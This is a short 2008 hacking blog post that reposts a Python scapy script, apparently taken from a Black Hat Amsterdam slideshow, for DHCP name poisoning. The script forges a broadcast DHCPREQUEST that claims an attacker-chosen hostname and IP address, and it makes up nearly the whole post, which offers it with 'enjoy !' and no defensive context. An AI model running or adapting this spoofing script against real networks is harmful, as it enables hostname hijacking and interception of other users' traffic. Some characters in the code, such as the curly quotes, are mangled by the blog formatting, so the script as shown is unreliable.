DHCP name poisoning attacks
By admin on May 10, 2008 in DHCP Hack, Exploits, Linux Hacking, Linux Think, scripts
if yesterday i’ve post one issue that present at WHITEHAT 2008 junction at dubai this is the reverse one, this is one issue that BLACKHAT junction at amsterdam 2008, there are some thing different if you read both of the slide from WHITEHAT and BLACKHAT the first is talking about fact on vulnerable,hacking attack possibility and of course how to prevent it.the second one not talking to much, it just show code and the latest exploit that we can use, this is one of code that i get at the slideshow.this one abotu DHCP name poisoning attack , i’ll just post the code here
#!/usr/bin/env python
from scapy import *
def usage():
print “Usage: DHCPspoof <ip> <name>“
sys.exit(1)
if len(sys.argv) != 3:
usage()
requested_ip = sys.argv[1]
requested_name = sys.argv[2]
interface = conf.route.route(requested_ip)[0]
localmac = get_if_hwaddr(interface)
localip = get_if_addr(interface)
print(”Sending DHCPREQUEST”)
ether = Ether(src=”00:00:00:00:00:00″, dst=”ff:ff:ff:ff:ff:ff”)
ip = IP(src=”0.0.0.0″, dst=”255.255.255.255″)
udp = UDP(sport=68, dport=67)
bootp = BOOTP(chaddr=localmac, xid=0×11033000)
dhcpOptions = DHCP(options=[(’message-type’, ‘request’), (’hostname’, requested_name),
(’requested_addr’, requested_ip), (’end’)])
packet = ether/ip/udp/bootp/dhcpOptions
sendp(packet)
this coded using python by Jason Macpherson. enjoy !

